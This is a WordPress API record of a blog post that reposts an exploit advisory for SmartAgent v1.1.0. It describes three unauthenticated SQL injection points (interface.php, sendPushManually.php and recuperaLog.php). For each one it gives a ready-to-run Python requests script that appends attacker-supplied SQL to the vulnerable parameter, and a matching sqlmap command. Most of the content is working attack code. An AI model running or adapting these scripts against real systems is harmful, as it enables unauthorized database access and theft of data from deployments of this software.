{"id":60062,"date":"2024-11-02T06:16:25","date_gmt":"2024-11-02T03:16:25","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182449\/smartagent110-sql.txt"},"modified":"2024-11-02T06:16:25","modified_gmt":"2024-11-02T03:16:25","slug":"smartagent-1-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/smartagent-1-1-0-sql-injection\/","title":{"rendered":"SmartAgent 1.1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated SQL Injection (SQLi)<br \/># Date: 01-10-2024<br \/># Exploit Author: Alter Prime<br \/># Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com<br \/># Version: Build v1.1.0<br \/># Tested on: Kali Linux<\/p>\n<p>An unauthenticated user can inject SQL queries through a POST request to the vulnerable script https:\/\/smarts-srlcom.com\/privateArea\/common\/tests\/interface.php.<\/p>\n<p>The POST request includes the folowing parameters &#8220;action=exportNetworkDate&amp;id=1111&#8221; and vulnerable parameter is &#8220;id&#8221;.<\/p>\n<p>Steps To Reproduce:<br \/>1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0<\/p>\n<p>#Python Exploit<\/p>\n<p>import requests<\/p>\n<p>url = &#8220;https:\/\/smartagent.[client].com\/privateArea\/common\/tests\/interface.php&#8221;<br \/>sqlcommand = input(&#8220;Enter the command you want to run \\(EX: UNION SELECT @@version\\): &#8220;)<\/p>\n<p>postdata = {<br \/>&#8220;action&#8221;: &#8220;exportNetworkDate&#8221;,<br \/>&#8220;id&#8221;: &#8220;1111&#8221; + sqlcommand<br \/>}<\/p>\n<p>response = requests.post(url, data=postdata, verify=False)<br \/>print(response.text)<\/p>\n<p>2. Alternatively SQLMAP could pe used on the same endpoint <\/p>\n<p>sqlmap -u https:\/\/smartagent.[client].com\/privateArea\/common\/tests\/interface.php. &#8211;data &#8220;action=exportNetworkDate&amp;id=1111&#8221; -p &#8220;id&#8221;<\/p>\n<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated SQL Injection (SQLi)<br \/># Date: 01-10-2024<br \/># Exploit Author: Alter Prime<br \/># Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com<br \/># Version: Build v1.1.0<br \/># Tested on: Kali Linux<\/p>\n<p>An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https:\/\/smarts-srlcom.com\/privateArea\/common\/qoe\/sendPushManually.php?id=123.<\/p>\n<p>The GET request includes the vulnerable parameter &#8220;id&#8221;.<\/p>\n<p>Steps To Reproduce:<br \/>1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0<\/p>\n<p>#Python Exploit<\/p>\n<p>import requests<\/p>\n<p>url = &#8220;https:\/\/smartagent.[client].com\/privateArea\/common\/qoe\/sendPushManually.php&#8221;<br \/>sqlcommand = input(&#8220;Enter the command you want to run \\(EX: UNION SELECT @@version\\): &#8220;)<\/p>\n<p>parameter = {<br \/>&#8220;id&#8221;: &#8220;123&#8221; + sqlcommand<br \/>}<\/p>\n<p>response = requests.get(url, data=parameter, verify=False)<br \/>print(response.text)<\/p>\n<p>2. Alternatively SQLMAP could pe used on the same endpoint <\/p>\n<p>sqlmap -u https:\/\/smartagent.[client].com\/privateArea\/common\/qoe\/sendPushManually.php?id=123 -p &#8220;id&#8221;<\/p>\n<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated SQL Injection (SQLi)<br \/># Date: 01-10-2024<br \/># Exploit Author: Alter Prime<br \/># Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com<br \/># Version: Build v1.1.0<br \/># Tested on: Kali Linux<\/p>\n<p>An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https:\/\/smarts-srlcom.com\/recuperaLog.php?client=1111.<\/p>\n<p>The GET request includes the vulnerable parameter &#8220;client&#8221;.<\/p>\n<p>Steps To Reproduce:<br \/>1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0<\/p>\n<p>#Python Exploit<\/p>\n<p>import requests<\/p>\n<p>url = &#8220;https:\/\/smartagent.[client].com\/recuperaLog.php&#8221;<br \/>sqlcommand = input(&#8220;Enter the command you want to run \\(EX: UNION SELECT @@version\\): &#8220;)<\/p>\n<p>parameter = {<br \/>&#8220;client&#8221;: &#8220;1111&#8221; + sqlcommand<br \/>}<\/p>\n<p>response = requests.get(url, data=parameter, verify=False)<br \/>print(response.text)<\/p>\n<p>2. Alternatively SQLMAP could pe used on the same endpoint <\/p>\n<p>sqlmap -u https:\/\/smartagent.[client].com\/recuperaLog.php?client=1111 -p &#8220;client&#8221;<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated SQL Injection (SQLi)# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com# Version: Build v1.1.0# Tested on: Kali Linux An unauthenticated user can inject SQL queries through a POST request to the vulnerable script https:\/\/smarts-srlcom.com\/privateArea\/common\/tests\/interface.php. The POST request includes the folowing parameters &#8220;action=exportNetworkDate&amp;id=1111&#8221; and vulnerable parameter is &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60062","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60062","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60062"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60062\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60062"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60062"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60062"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}